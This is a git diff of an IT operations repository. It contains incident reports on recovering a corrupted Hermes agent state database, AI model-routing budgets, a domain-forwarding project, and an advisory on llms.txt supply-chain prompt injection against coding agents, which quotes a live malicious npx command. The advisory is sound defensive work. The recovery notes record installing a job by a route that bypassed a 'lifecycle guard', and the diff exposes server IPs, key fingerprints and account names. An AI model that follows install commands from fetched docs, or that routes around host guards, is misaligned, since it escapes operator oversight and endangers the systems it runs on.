+**Why it was able to hurt this much:** the store is 1.9 GB and has never been pruned. Every checkpoint, backup, and recovery operation on a store that size is slow, IO heavy, and exposed to exactly this failure mode. Three corruption events in three days (Sep 9, 10, 11) is not bad luck, it is a store operating outside safe limits. The corrupt copy from Sep 3 through Sep 10 in Anita's frozen profile shows the same pattern on a second profile, which points at the host and the store size rather than at one profile's content.
+
+## 5. Recovery
+
+**Strategy:** do not try to repair the corrupt file body. Build a new store from the newest clean copy and graft forward the messages that only exist in newer ones.
+
+1. **Base:** the 01:00 archive store, verified clean: `quick_check ok`, 107,588 messages, max id 321,545.
+2. **Graft:** 985 messages from the 11:49 snapshot (valid SQLite, one bad page) into the base. Grafting is row by row, so a single unreadable page costs a row, not the migration.
+3. **Result:** `/root/db-forensics/state.working.db`, 1,961,385,984 B, verified at 17:45 EDT:
+
+```
+PRAGMA quick_check     -> ok
+PRAGMA integrity_check -> ok
+108,573 messages / max id 322,530 / 242 sessions
+FTS intact: messages_fts and messages_fts_trigram with all supporting tables
+```
+
+985 grafted rows against 107,588 base rows reconciles exactly to 108,573.
+
+**Install path:** the job runs as a detached root crontab one shot writing to `/root/db-forensics/cron-invoke.log`, not `systemd-run` and not `/etc/cron.d` (both blocked by the lifecycle guard on this box).
+
+**First attempt failed for a boring reason worth recording:** `install.sh` was not executable, so cron forked it and it died within a second, writing nothing anywhere. The fix is three parts: `chmod +x`, invoke explicitly as `/bin/bash <script>`, and log stdout and stderr to a file that can be read afterwards. It was then exercised in `--dry-run` before being armed for real.
+
+## 6. Side finding: the backup monitor was crying wolf for eight days
+
+`Backup-Health-Monitor` (daily 09:00) had `failure_streak=8` and `last_status=error`.
+
+- **The one real CRITICAL** was `hermes-live-sync: DISABLED/PAUSED` (job `61cd31eec51c`, paused 2026-09-03 15:49, the same window as the first corruption event). The script exits 1 only when `total_critical > 0`, never for warnings, so that single pause accounts for the entire streak.
+- **Its three WARNINGs are false positives,** proven by content rather than by size:
+  - **Wazuh Manager (app1):** the tarballs for Sep 9, 10 and 11 are all sha256 `0e65a2364cdc0795...`, identical. The content is a static config, and the 03:15 job did run today. Not stalled.
+  - **LiteLLM Config (app1):** the flagged object is a 333 byte config yaml that legitimately never changes. The actual data backup is `app1/litellm/litellm-backup-*.tar.gz`, 47 of them, newest 37,894,223 bytes at 03:30 today, and it carries the Postgres dump.
+  - **MySQL voipsimplicity (app3):** identical size 6,834,636 bytes each day but a **different** sha256 each day (cb1ce9f8, 92c5eb70, b83ea28f), valid gzip, 73 tables, real `mysqldump 8.4.10`. Content is changing, the size simply coincides.
+- **Conclusion:** the size uniqueness heuristic cannot tell "static but fine" from "stalled". Those three checks should be reclassified as "unchanged content" rather than SUSPICIOUS. Not yet changed.
+
+## 7. Prevention
+
+1. **Prune the store.** 1.9 GB unpruned is the amplifier behind all three failures. Needs a retention policy and a size cap, sized before anything is deleted (session count, cron and watcher noise measured first).
+2. **Snapshot, never tar, live databases.** Excluding `*.db` from the essentials archive is correct. What was missing was the replacement, now supplied by `hermes-db-backup.sh`, which takes a `sqlite3 .backup` per database, `quick_check` each snapshot, uploads, then downloads and re-verifies. Deployed on the Anita box with cron `10 3 * * *`, proven by round trip (291 MB snapshot, `quick_check ok`, 99,285 messages).
+3. **Never trust a backup that has not been restored.** Every archive is now suspect until an object has been downloaded, extracted, and opened. The Sep 10 and Sep 11 archives would both have restored the corruption.
+4. **Check integrity on the newest snapshot daily,** not just its existence and size. `PRAGMA quick_check` on the newest object is cheap and would have caught the Sep 10 and Sep 11 contamination on the day it happened.
+5. **Record who restarts the gateway.** The 12:49 caller is still unknown. The restart path should write caller identity, reason, and timestamp to a durable log so this question is answerable next time.
+6. **Resume the 15 minute checkpoint** only after the repaired store verifies healthy, and prove the resumed job by downloading its object and running `quick_check` on it.
+7. **Keep quarantine artifacts for a retention window.** The only unique bytes in the deleted frozen profile were the Sep 3, 9 and 10 quarantine files. They are archived, not discarded, so a future investigator can compare failure signatures.
+
+## 8. Evidence (re-verified 2026-09-11 17:45 EDT)
+
+```
+live      /root/.hermes/state.db                      1,984,344,064 B   mtime 2026-09-11 12:49:22   header: NOT SQLite
+donor     /root/sqlite_tmp/sep11/hermes-backup-2026-09-11/state.db
+                                                      1,939,980,288 B   quick_check ok  107,588 msgs  max id 321,545
+candidate /root/db-forensics/state.working.db         1,961,385,984 B   quick_check ok  integrity_check ok
+                                                                       108,573 msgs  max id 322,530  242 sessions
+disk      503 GB volume, 117 GB used, 366 GB free
+memory    15 GB total, 4 GB used, 11 GB available
+```
+
+## 9. Lesson
+
+The failure was survivable because the 01:00 archive happened to be clean and the 11:49 snapshot happened to be readable enough to graft from. That is luck, not architecture. Two things made it luck: backups that copied the live store, and no pruning on a store big enough that every operation on it is a window of risk. Both are fixed or scheduled. The remaining exposure is the same store size, which stays live until a retention policy is agreed.

docs/incidents/2026-09-12-core-state-db-recovery.md

@@ -0,0 +1,74 @@
+# 2026-09-12 Core state.db recovery and rebuild
+
+**Status:** RESOLVED — store recovered, rebuilt, and installed; gateway clean; 15-min coverage resumed.
+**Box:** Core (netcup RS 2000, `152.53.192.33`)
+**Store:** `/root/.hermes/state.db`
+**Precedes:** `2026-09-11-core-state-db-corruption.md`
+
+## Summary
+
+The Core state store was recovered from a live snapshot and reinstalled on 2026-09-12 between 01:07 and 02:09.
+The live store went from 1,902 MB to 1,108 MB (794 MB reclaimed) with **no loss of sessions or messages**, and the
+gateway now runs on a clean database with no orphaned file handles.
+
+## Timeline (verified from logs and file mtimes)
+
+| Time (ET) | Event |
+|---|---|
+| 00:53:39 | Corpse-relocation dir created (task 10: moving corrupt copies out of `~/.hermes`) |
+| 00:54:50 | `agent.log`: a terminal call completes |
+| 00:54:53 | `state.db-wal` mtime. WAL and SHM **unlinked while the gateway held them open** (gateway PID 2356405) |
+| 00:54:45 → 00:55:00 | `wal-monitor.py` catches it live: clean (`deleted-handles: 0`, WAL inode 261435) → fresh WAL inode 298693, SHM missing, **6 deleted handles** |
+| 00:58 | Live `optimize-storage` migration launched (PID 2374243), gated to wait for the 01:00 archive |
+| 01:00 | `hermes-backup.sh` completes: `hermes-full-backup-2026-09-12.tar.gz` (762,955,612 B) |
+| 01:04:11 | Migration exits: **`optimization failed: database disk image is malformed`**. No VACUUM completed, no data written |
+| 01:07:14 | Live snapshot taken (2,125,131,776 B) |
+| 01:08:28 | Quarantine: `state.db.malformed-backup-20260912_010832` |
+| 01:08:43 | `state.db.repair-attempts.json` written |
+| 01:10:13 / 01:12:47 | Recovery candidates built: `recovered-20260912.db` (1,108,819,968 B), `recovered-snapshot.db` |
+| 02:00:56 | `install-0912.sh` runs |
+| 02:05:01 | Second quarantine: `state.db.not-a-db-20260912_020501` |
+| 02:08:48 | Gateway stopped and restarted → new PID **2414111** |
+| 02:09:11 | Rebuilt store installed (1,108,221,952 B) |
+| 02:09:34 | Install log: `quick_check=ok integrity_check=ok`, FTS present, remaining holders: none |
+
+## Verified result (2026-09-12 02:22 ET)
+
+- Gateway PID 2414111 (started 02:08:48), `active`, **zero deleted file descriptors**; every `state.db*` fd resolves to a real file.
+- `PRAGMA quick_check` = **ok**; `PRAGMA integrity_check` = **ok**.
+- **242 sessions** (unchanged) / **109,825 messages** (up from the damaged on-disk view) / FTS present.
+- Both heavy sessions intact: `20260809_033049_d51d611b` = 58,359 rows, `20260827_231946_bab48b11` = 41,790 rows.
+- Newest message timestamp 02:21:40 — the store is live and current.
+- Zero corruption-class errors in `errors.log` after 02:09:34.
+- Store size 1,902 MB → **1,108 MB**. The rebuild dropped the legacy v22 FTS duplicate-data bloat, which was the
+  measured root cause of the store bloat (index 1,199 MB for 423 MB of text) — **not** cron/subagent accumulation
+  (37.6 MB of 423 MB).
+
+## Root cause of the WAL unlink at 00:54:53 — OPEN
+
+The WAL and SHM were truly **unlinked, not moved** (`find / -inum 261435` returned nothing; the stranded bytes were
+preserved as `/root/db-forensics/stranded-wal-261435.bin`, 18,622,432 B, magic `37 7f 06 82`).
+
+Leading hypothesis, **not confirmed**: an interactive root shell ran Hermes repair commands — `.bash_history` contains
+`hermes doctor --fix` and `hermes sessions optimize-storage` — at approximately 00:54:50, i.e. outside the gateway
+process tree. Deleting a `-wal`/`-shm` out from under a live gateway is precisely how the split-brain occurs: the gateway
+keeps writing into the orphaned inode while fresh readers see a stale main file.
+
+The `wal-monitor.py` process died; its final log line (old PID, 6 deleted handles) is **stale evidence**, not current state.
+
+## Actions taken
+
+1. Quarantine images (4 GB) moved **out of `~/.hermes`** to `/root/db-forensics/corpses/20260912-quarantine/` so the
+   01:00 backup does not swallow them again — the same class of mistake that inflated the 2026-09-11 archive to 3.35 GB.
+2. `hermes-live-sync` (cron `61cd31eec51c`) **resumed** — 15-minute coverage had been OFF since 2026-09-03 15:49:45.
+   Next run 02:37:13. The script snapshots with `sqlite3 .backup` (WAL-safe), so it is safe against a live gateway.
+3. `sanctioned-pauses.json` entry closed and moved to `_resolved`.
+4. One-shot verification armed for 02:47: downloads the `live/state.db` object from S3 and runs `quick_check` on it.
+   Per standing rule, verification is the downloaded object, not the job status.
+
+## Open items
+
+- Identify what actually unlinked the WAL at 00:54:53 (see hypothesis above).
+- `state.db.repair.lock` (0 bytes, 2026-09-10) is stale.
+- Destructive prune of session `20260809_033049_d51d611b` (224 MB, ended Aug 27) — deferred by choice, no longer urgent
+  now that the rebuild reclaimed 794 MB.

docs/infrastructure/key-inventory.md

@@ -11,7 +11,7 @@
 
 | Key Name | File | Type | Fingerprint (SHA256) | Purpose | Deployed To |
 |----------|------|------|-----------------------|---------|-------------|
-| **itpp-infra** | `/root/.ssh/itpp-infra` | ED25519 | `Jxh0bbT9dUV3q1DYYB3hHyhy/1TDj7Q8U4xrVmB38uQ` | Universal server admin key | All servers (Core, app1, app2, app3, wphost02, app1-bu, home router) |
+| **itpp-infra** | `/root/.ssh/itpp-infra` | ED25519 | `Jxh0bbT9dUV3q1DYYB3hHyhy/1TDj7Q8U4xrVmB38uQ` | Universal server admin key | All servers (Core, app1, app2, app3, app1-bu, home router). wphost02 DECOMMISSIONED (2026-08-28), removed from scope. |
 | **wisp_rsa** | `/root/.ssh/wisp_rsa` | ED25519 | `MxQw1oh90NibSgN2mDbKP+07/jE4FEUEBbFAzuk5DcI` | WISP MikroTik CCR router SSH | Home CCR router (10.77.0.2 via WireGuard) |
 | **germaine-personal** | `/root/.ssh/germaine-personal` | ED25519 | `dDbLH+bdPFcGU0mm1DpGa43ec0nUZ88YnpCi4p63y3I` | Germaine's personal key (from his machines) | Germaine's devices → Core |
 | **homelab** | `/root/.ssh/homelab` | ED25519 | `c1nts4wR9EU06/O/k895Pb2tGZublgnGWG6NoQrK/qs` | Homelab Proxmox/QNAP access | vm-host-01, vm-host-02, QNAP NAS |
@@ -148,7 +148,7 @@ All stored in `/root/.hermes/.env` and Hudu API assets (layout 49).
 
 | Database | Host | User | Password Location | Purpose |
 |----------|------|------|-------------------|---------|
-| **MySQL (apex track)** | 127.0.0.1:33060 (SSH tunnel from wphost02) | `apextrackexperience_1781549652` | `wp-config.php` on wphost02 | Apex Track Experience WordPress |
+| **MySQL (apex track)** | app3:3306 | `apextrackexperience_1781549652` | RunCloud-era credential — target host wphost02 DECOMMISSIONED (2026-08-28); site now on app3/CloudPanel with a different credential scheme | Apex Track Experience WordPress (STALE — see comprehensive-audit-summary-2026-08-09.md) |
 | **MySQL (CloudPanel)** | app3:3306 | `root` | `/root/.my.cnf` on app3 (also in Vaultwarden) | CloudPanel WordPress hosting |
 | **LiteLLM Postgres** | app1 (Docker) | (in docker-compose) | `/root/docker/litellm/docker-compose.yml` on app1 | LiteLLM operational DB |
 
@@ -217,7 +217,7 @@ The following credentials are known to exist but were not found in the standard
 | **Hudu API key** | In skill docs (`hudu-management`) — used programmatically, not in .env. |
 | **Traccar/FleetTracker360 admin** | Not in .env. May be Docker env or app-managed. |
 | **Twenty CRM credentials** | Docker on Core, env at `/root/docker/twenty/.env` (not read). |
-| **WordPress site DB passwords** | Various sites, typically in `wp-config.php` on wphost02 or app3. |
+| **WordPress site DB passwords** | Various sites, typically in `wp-config.php` on app3 (wphost02 DECOMMISSIONED 2026-08-28). |
 | **app1-bu** | 5.161.225.131 | Hetzner CPX21 — accessed via itpp-infra SSH key only. |
 | **ComfyUI / Z4** | GPU server allocated for TripFlow — credentials not yet documented. |
 | **Home MikroTik admin** | SSH via `admin@10.77.0.2` with `wisp_rsa` key. RouterOS password in router config (not extracted). |

docs/infrastructure/model-chain.md

@@ -1,6 +1,6 @@
 # AI Model Architecture — IT Pro Partner
 
-**Updated:** August 17, 2026
+**Updated:** September 11, 2026
 
 Two separate concepts: **fallback chain** (survival — direct API keys) and **operational chain** (daily toolbox — admin-ai only). The two-key strategy means operational keys run through admin-ai/LiteLLM; fallback keys are direct provider API keys with daily limits.
 
@@ -14,9 +14,9 @@ Survives admin-ai outage. All direct provider keys have daily caps. Fires in ord
 
 | Tier | Model | Provider | Key type | Daily cap |
 |---|---|---|---|---|
-| **Primary** | `deepseek-v4-pro` | `admin-ai` | operational | $30/mo budget |
+| **Primary** | `deepseek-v4-flash` | `admin-ai` | operational | $700/30d (~$23.33/day) |
 | **F1** | `deepseek-v4-flash` | `deepseek` (direct) | fallback | $3 |
-| **F2** | `gemini-3.6-flash` | `google` (direct) | fallback | $2 |
+| **F2** | `gemini-3.8-flash` | `google` (direct) | fallback | $2 |
 | **F3** | `grok-4.5` | `xai` (direct) | fallback | $2 |
 | **F4** | `claude-sonnet-5` | `anthropic` (direct) | fallback | $5 |
 | **F5** | `gpt-5-mini` | `openai` (direct) | fallback | $2 |
@@ -31,15 +31,17 @@ All route through admin-ai. Shared budget via `hermes-agent-v5` key.
 
 | Role | Model | Provider | Use When |
 |---|---|---|---|
-| **Conductor** | `deepseek-v4-pro` | admin-ai (DeepSeek) | All standard work — orchestration, delegation, coding |
-| **Workhorse** | `deepseek-v4-pro` | admin-ai (DeepSeek) | Delegated tasks, scripts, infra code |
+| **Conductor** | `deepseek-v4-flash` | admin-ai (DeepSeek) | All standard work — orchestration, delegation, coding |
+| **Workhorse** | `deepseek-v4-flash` | admin-ai (DeepSeek) | Delegated tasks, scripts, infra code |
 | **Batch Workhorse** | `deepseek-v4-flash` | admin-ai (DeepSeek) | Bulk scripts, log parsing, repetitive tasks |
 | **Lightweight** | `claude-haiku-4-5` | admin-ai (Anthropic) | Email triage, classification, simple tasks |
 | **Simple Workhorse** | `gpt-5.6-luna` | admin-ai (OpenAI) | Lightweight tasks under 128K context |
 | **Auditor** | `gpt-5.6-luna` | admin-ai (OpenAI) | Code review, QA (primary auditor) |
 | **Auditor 2** | `xai/grok-4.5` | admin-ai (xAI) | Second-opinion code review (different provider) |
 | **Critical** | `claude-sonnet-5` | admin-ai (Anthropic) | Client comms, legal docs, architecture (explicit) |
-| **Professional Comms** | `gemini-3.6-flash` | admin-ai (Google) | Client emails, professional messaging |
+| **Professional Comms** | `gemini-3.8-flash` | admin-ai (Google) | Client emails, professional messaging |
+| **Research** | `sonar-pro` | admin-ai (Perplexity) | Live-search-grounded: competitive/compliance/market research, current events, cited answers |
+| **Deep Research** | `sonar-reasoning-pro` | admin-ai (Perplexity) | Multi-step synthesis, reasoning + citations |
 
 ---
 
@@ -47,13 +49,13 @@ All route through admin-ai. Shared budget via `hermes-agent-v5` key.
 
 ### hermes-agent-v5 (Main — Sho'Nuff)
 - **Created:** Jul 31, 2026
-- **Budget:** $30/day
-- **Spend:** $20.36 (as of Aug 6)
+- **Budget:** $23.33/day ($700/30d)
+- **Spend:** $184.79 (as of Sep 3)
 - **Models:** deepseek-v4-pro, deepseek-v4-flash, gemini-flash-latest, claude-sonnet-5, claude-haiku-4-5, gpt-5.6-luna, xai/grok-4.5 (+ claude-sonnet-4-6, claude-opus-4-8, claude-fable-5, gemini-2.5-flash/pro, grok-4.3, gpt-5, gpt-5-mini available)
 
 ### Anita's Hermes Key
-- **Budget:** $10/day
-- **Spend:** $0.11 (as of Aug 6)
+- **Budget:** $3.33/day ($100/30d)
+- **Spend:** $6.86 (as of Sep 3)
 - **Models:** deepseek-v4-pro, deepseek-v4-flash, gemini-flash-latest, claude-sonnet-5, claude-haiku-4-5, gpt-5.6-luna, xai/grok-4.5 (+ same expansions as hermes-agent-v5)
 
 ---
@@ -62,8 +64,8 @@ All route through admin-ai. Shared budget via `hermes-agent-v5` key.
 
 | Component | Daily est. |
 |---|---|
-| Conductor + Workhorse (ds-v4-pro) | ~$3.00 |
-| Batch Workhorse (ds-v4-flash) | ~$0.50 |
+| Conductor + Workhorse (ds-v4-flash) | ~$2.00 |
+| Batch Workhorse (ds-v4-flash) | ~$1.50 |
 | Lightweight (haiku-4-5) | ~$0.30 |
 | Simple Workhorse (luna) | ~$0.50 |
 | Auditors (luna + grok-4.5) | ~$0.80 |
@@ -80,3 +82,6 @@ All route through admin-ai. Shared budget via `hermes-agent-v5` key.
 - **Aug 5, 2026:** Admin-ai budget cap hit (~$20). Fallback chain exhausted 4 dead legs, landed on Anthropic direct. Burned $45 in 10 hours on claude-sonnet-5 via direct key. Anthropic key capped until Sep 1.
 - **Aug 6, 2026:** Root cause of Aug 5 outage: 4 fallback legs dead simultaneously (admin-ai budget, DeepSeek balance $0, grok-4.6 404, Anthropic capped). Implemented two-key strategy (operational vs fallback). Rotated all 5 fallback keys. Added F5 (gpt-5-mini via OpenAI). Added haiku-4-5 and grok-4.5 to operational chain. Fixed grok-4.6 → grok-4.5. Synced Anita profile identically. Budget raised to $30.
 - **Aug 17, 2026:** Live verification of fallback chain against the LiteLLM model DB (admin-ai). Confirmed present: `deepseek-v4-flash`, `gemini-3.6-flash` (registered as `gemini/gemini-3.6-flash`), `grok-4.5` (`xai/grok-4.5`), `claude-sonnet-5`. Replaced F5 `gpt-4.1-mini` → `gpt-5-mini` — the gpt-4.1 series is no longer present in LiteLLM. Synced `config.yaml` `fallback_providers` and `model.fallbacks`.
+- **Sep 3, 2026:** DeepSeek promo rates ended and prices rose again. Live LiteLLM map now bills deepseek-v4-pro at $1.32/$3.96 and deepseek-v4-flash at $0.44/$1.32 (peak; off-peak half). Registered gemini-3.8-flash ($0.75/$3.75 intro) on admin-ai. Swapped F2 and Professional Comms gemini-3.6-flash to gemini-3.8-flash (Core + Anita). Restored delegation default to deepseek-v4-pro (was claude-sonnet-5, ~$13/day burn). Corrected F5 name in operational-models.md. Re-baselined cost tracker thresholds ($3/$4 to $15/$20). Verified actual key budgets: hermes-agent-v5 $700/30d ($23.33/day), Anita $100/30d ($3.33/day).
+- **Sep 3, 2026 (sonar + vision):** Seated Perplexity sonar as the Research tier (`sonar-pro` + `sonar-reasoning-pro`, both verified search-grounded via admin-ai with live test calls). Swapped `auxiliary.vision` `claude-sonnet-5` → `claude-haiku-4-5` (still `anthropic` direct), ~3x cheaper vision; verified with a real image call. Conductor unchanged (stays `deepseek-v4-pro`).
+- **Sep 11, 2026:** DeepSeek V4.1 Flash released (Sep 10) and surpasses V4 Pro on performance/cost/speed. Flipped primary + delegation from deepseek-v4-pro to deepseek-v4-flash on Core and Anita. V4.1 Flash peak $0.30 input / $1.20 output (off-peak $0.15/$0.60; cache-hit peak $0.006). **CORRECTION (verified against the live DeepSeek pricing page, Sep 11): V4 Pro is NOT retiring.** DeepSeek reversed the Sep 14 sunset and continues V4 Pro unchanged at $1.32/$3.96, so the legacy name does not auto-route to Flash. Cost map: the admin-ai built-in map carried the superseded Flash peak ($0.44 miss / $0.014 cache-hit / $1.32 out); a peak override ($0.30 miss / $0.006 cache-hit / $1.20 out) was applied to the `deepseek-v4-flash` deployment via `/model/update` and verified end-to-end (live call billed 1.71e-05 = 37x3e-07 + 5x1.2e-06). Pro in the map was already correct at $1.32/$0.044/$3.96.

docs/security/2026-08-29-llms-txt-supply-chain-advisory.md

@@ -0,0 +1,78 @@
+# Security Advisory: llms.txt Supply-Chain Prompt Injection
+
+**Date:** 2026-08-29
+**Classification:** Security advisory (external research, applies to our agent infrastructure)
+**Source:** Ars Technica, Dan Goodin - "Claude, Codex, and Hermes installed unowned code inside corporate networks"
+**Severity:** High (for any agent granted shell/package-install permissions)
+
+## Summary
+
+Researchers scanned 6,214 live domains (defense contractors, Fortune 500, Big Tech) and found 8,265 `llms.txt` / `llms-full.txt` files. 120 of those files, each on a different site, pointed at code packages or domain names that were not registered. When the researchers claimed the unclaimed names and hosted phone-home packages, they received callbacks from Fortune 500 companies within an hour, and a few dozen more over time. The parent-process chain implicated three coding agents: Claude, OpenAI Codex, and Nous Research Hermes.
+
+Hermes is the agent platform ITPP runs in production. This is not abstract.
+
+## The Attack Mechanism
+
+`llms.txt` and `llms-full.txt` are an emerging convention: the AI equivalent of `robots.txt`. Websites publish them as machine-readable summaries and setup instructions for AI agents.
+
+The exploit is a supply-chain hijack that works in stages:
+
+1. A legitimate site publishes an `llms.txt` that lists a package or domain that does not exist (or that was later abandoned). The file says, for example, `pip install <name>` or `npm install <name>`.
+2. Because the name is unregistered, an attacker registers it and hosts ransomware or any other payload.
+3. A coding agent with shell-execution permission reads the file, treats it as authoritative vendor documentation, and downloads and runs the package without checking the namespace, ownership, or whether the domain is still alive.
+4. Endpoint detection does not fire. To EDR or a corporate proxy, this is a developer running a legitimate package manager against `pypi.org` or `npmjs.com`, with the agent the company installed on purpose as the parent process.
+
+The researchers found 227 install/view commands across the 120 misconfigured files. Many of the faulty entries predate the AI era (manually written by humans), and some were likely hallucinated by earlier AI.
+
+## Confirmed Live Exploit
+
+At least one active attack is already exploiting this. An `llms.txt` file hosted on `clerk.com` contained:
+
+```
+npx clerk-next-fix-auth-protection
+```
+
+`npx` fetches a package into the npm cache and executes its binary without adding it to a dependency manifest. Someone claimed the empty slot and hosted live malware. Clerk has since resolved it, and noted that agents that had already installed the `@clerk/eslint-plugin` binary were not at risk, but a fresh agent resolving that name would pull the malicious package.
+
+## How This Differs From Classic Prompt Injection
+
+In a classic prompt injection, someone deliberately plants malicious instructions. Here, the instruction itself is benign and comes from a legitimate source (a real company's own documentation), with no malicious actor at write time. The danger arrives later, when the package or domain the file points to is abandoned and someone else claims it.
+
+The researchers' framing is the key insight: "An agent doesn't distinguish between a page and a command. Everything it reads is input, and every input is a potential instruction." The entire corpus of published data agents now consume has silently become an execution surface.
+
+## ITPP / Hermes Exposure
+
+This is the section that matters for us. Honest assessment:
+
+- **We run Hermes in production**, and it is one of the three agents named in the research.
+- Hermes has full shell/terminal execution, web extraction, browser automation, and MCP tool access. The `terminal` tool can run `pip install`, `npm install`, `npx`, and `curl | bash` if instructed to do so.
+- The risk is not that Hermes will spontaneously install malware. The risk is that a prompt, a fetched document, or a skill references an unverified package and Hermes executes the install as instructed, with no namespace-ownership check in the loop.
+
+**What we have not yet verified** (flagged as follow-up audit items, not assumed safe):
+
+1. Whether any cron job, skill, or automation reads `llms.txt` / external setup docs and follows install commands.
+2. Whether any of our AI products or client deployments run an agent with unguarded shell access against third-party docs.
+3. Whether our Super Search / web-extract pipeline surfaces untrusted content into a context where it can drive package installs.
+
+## Mitigations
+
+These are concrete, ordered by impact:
+
+1. **Never auto-install from external docs.** Treat any install command originating from fetched content (web, `llms.txt`, third-party docs) as untrusted until a human or a verification step confirms the namespace.
+2. **Verify before install.** For any PyPI/npm package, check ownership, age, maintainer history, and download counts before running. A freshly registered name referenced by a vendor doc is the exact red flag this attack exploits.
+3. **Least-privilege on agent shell access.** Do not give agents blanket package-install permissions. Gate `pip` / `npm` / `npx` / `curl | bash` behind confirmation for any agent that consumes untrusted content.
+4. **Audit our automation surface.** Enumerate every cron job, skill, and MCP tool that can reach package managers or shell out to install commands. Confirm none follow unverified install instructions.
+5. **Detect the gap, not the symptom.** EDR will not catch this because it looks like legitimate developer activity. The control has to live upstream: a guardrail that refuses to execute an install command whose package name cannot be verified to a legitimate, long-standing owner.
+
+## Follow-Up Actions
+
+- [ ] Run the exposure audit in the "ITPP / Hermes Exposure" section (items 1-3 above) and record findings.
+- [ ] Add a guardrail or operating rule to Hermes that install commands from untrusted/fetched content require verification.
+- [ ] Re-review this advisory if any of our client-facing AI products ship an agent with shell access.
+
+## References
+
+- Ars Technica: https://arstechnica.com/security/2026/08/claude-codex-and-hermes-installed-unowned-code-inside-corporate-networks/
+- Researcher post (What Would AI Do): https://whatwouldai.do/
+- Researcher write-up (Medium): https://medium.com/@alonhertz1/data-became-code-we-ran-code-inside-fortune-500s-using-files-they-published-for-ai-agents-0cd67ffbbffc
+- llms.txt convention: https://llmstxt.org/

hermes-skills/systems-networks-team.md

@@ -47,7 +47,7 @@ Always load these before beginning a sys/net task:
 | app2 | 152.53.39.202 | Infrastructure server |
 | app3 | 152.53.241.111 | Web hosting + backup |
 | core-bu | 5.161.225.131 | Warm standby |
-| wphost02 | 5.161.62.38 | Legacy RunCloud host (still live) |
+| wphost02 | 5.161.62.38 | DECOMMISSIONED (2026-08-28) — deleted from Hetzner account |
 
 ## Key Credentials
 

projects/timapta.md

@@ -1,8 +1,33 @@
 # TIMAPTA — Tybee Island Maritime Academy PTA
 
 **Project owner:** Greyson's mom (PTA project)
-**Status:** LIVE (initial deployment)
-**Deployed:** 2026-08-12
+**Status:** FORWARDING TO ptatime.org (ptatime.org itself NOT yet deployed)
+**Deployed:** 2026-08-12 · **Re-pointed:** 2026-09-11
+
+## Canonical-domain change (2026-09-11)
+
+All three PTA domains now 301 to `ptatime.org`, which is the intended canonical
+domain. `ptatime.org` has an active zone but ZERO DNS records — no web, no mail —
+so every forward currently lands on a domain that does not resolve. Nothing serves
+until a site is deployed at `ptatime.org`. Only `register.timapta.org` (membership
+form on Core) is still live.
+
+| Source (apex + www) | Mechanism | Target |
+|---|---|---|
+| `timapta.org` | proxied dummy A (192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` |
+| `ptatima.org` | proxied dummy A (192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` |
+| `ptaoftybeeislandmaritimeeducation.org` | proxied dummy A (192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` |
+
+Verified at the Cloudflare edge (all 6 hosts, path + query preserved):
+`GET /join/thanks?x=1` → `301 Location: https://ptatime.org/join/thanks?x=1`
+
+**timapta.org email is untouched by this change** (MX, SPF, DKIM, DMARC all intact
+and resolving; only HTTP records/Page Rules are involved).
+
+**timapta.org apex no longer serves the old site.** The apex + www A records that
+pointed at app3 were gone before this change (site returned nothing). Site files
+still exist at `/home/ippadmin/htdocs/timapta.org/` and the nginx vhost
+`timapta.org.conf` is still enabled on app3 — orphaned until removed or re-homed.
 
 ## Summary
 
@@ -15,16 +40,26 @@ MXroute with branded `mail.` and `webmail.` subdomains.
 
 | Record | Type | Value | Purpose |
 |---|---|---|---|
-| `timapta.org` | A | 152.53.241.111 | app3 site (grey-cloud) |
-| `www.timapta.org` | A | 152.53.241.111 | app3 site |
-| `ptatima.org` | A (proxied) + Page Rule | 301 → `https://timapta.org/$1` | forward |
-| `www.ptatima.org` | A (proxied) + Page Rule | 301 → `https://timapta.org/$1` | forward |
+| `timapta.org` | A (proxied, dummy 192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` | forward (added 2026-09-11) |
+| `www.timapta.org` | A (proxied, dummy 192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` | forward (added 2026-09-11) |
+| `ptatima.org` | A (proxied) + Page Rule | 301 → `https://ptatime.org/$1` | forward (retargeted 2026-09-11) |
+| `www.ptatima.org` | A (proxied) + Page Rule | 301 → `https://ptatime.org/$1` | forward (retargeted 2026-09-11) |
+| `ptaoftybeeislandmaritimeeducation.org` | A (proxied, dummy 192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` | forward (added 2026-09-11) |
+| `www.ptaoftybeeislandmaritimeeducation.org` | A (proxied, dummy 192.0.2.1) + Page Rule | 301 → `https://ptatime.org/$1` | forward (added 2026-09-11) |
+| `ptatime.org` | (none) | — | zone exists, NO records (no web, no mail) as of 2026-09-11 |
 | `mail.timapta.org` | CNAME | heracles.mxrouting.net | IMAP/SMTP hostname |
 | `webmail.timapta.org` | A | 152.53.192.33 (Core) | Caddy 302 → Roundcube |
 
 Cloudflare zone IDs:
 - timapta.org: `92d1512d07b72142551aa5306fbacb2a`
 - ptatima.org: `fe443f33606d319a35eeb473403371fe`
+- ptatime.org: `7eaa5a94be7cd74e82852f1f287a9235`
+- ptaoftybeeislandmaritimeeducation.org: `9566a9ecf7bfe5a0fad6fb808ddac616`
+
+Page rule IDs (all `forwarding_url` → `https://ptatime.org/$1`, 301):
+- timapta.org: `bce7af229a27455e7e6b0c1d2e383281` (prio 1) · www: `e36031c567a32349e19cc567e2221d5f` (prio 2)
+- ptatima.org: `a0ce055a36f1d81a124654bf71f0a156` (prio 1) · www: `149fbab978c2a869122a284c827b9e99` (prio 2)
+- ptaoftybeeislandmaritimeeducation.org: `a11f40b8da891cdde37d052e6efef981` (prio 1) · www: `d5083187d4f868f1989e50187834d146` (prio 2)
 
 ## Email (MXroute)
 
@@ -76,6 +111,10 @@ real names, meeting schedule, and a phone/address.
 
 ## Open Items / Next Steps
 
+- [ ] **Deploy a site at `ptatime.org`** (blocking). Decision 2026-09-11: leave the zone
+      dark for now, a new site is being built and will be deployed there. The existing
+      forwards activate automatically the moment it serves; no further DNS work needed.
+- [ ] Decide fate of the orphaned app3 site (`/home/ippadmin/htdocs/timapta.org/` + `timapta.org.conf` vhost)
 - [ ] Move `contact@timapta.org` password into Vaultwarden
 - [ ] Activate FormSubmit endpoint (first submission + click confirmation)
 - [ ] Add real phone number + mailing address once PTA provides them
@@ -87,6 +126,19 @@ real names, meeting schedule, and a phone/address.
 - app3 uses nginx (CloudPanel layout, per-user `/home/<user>/htdocs` docroots), NOT
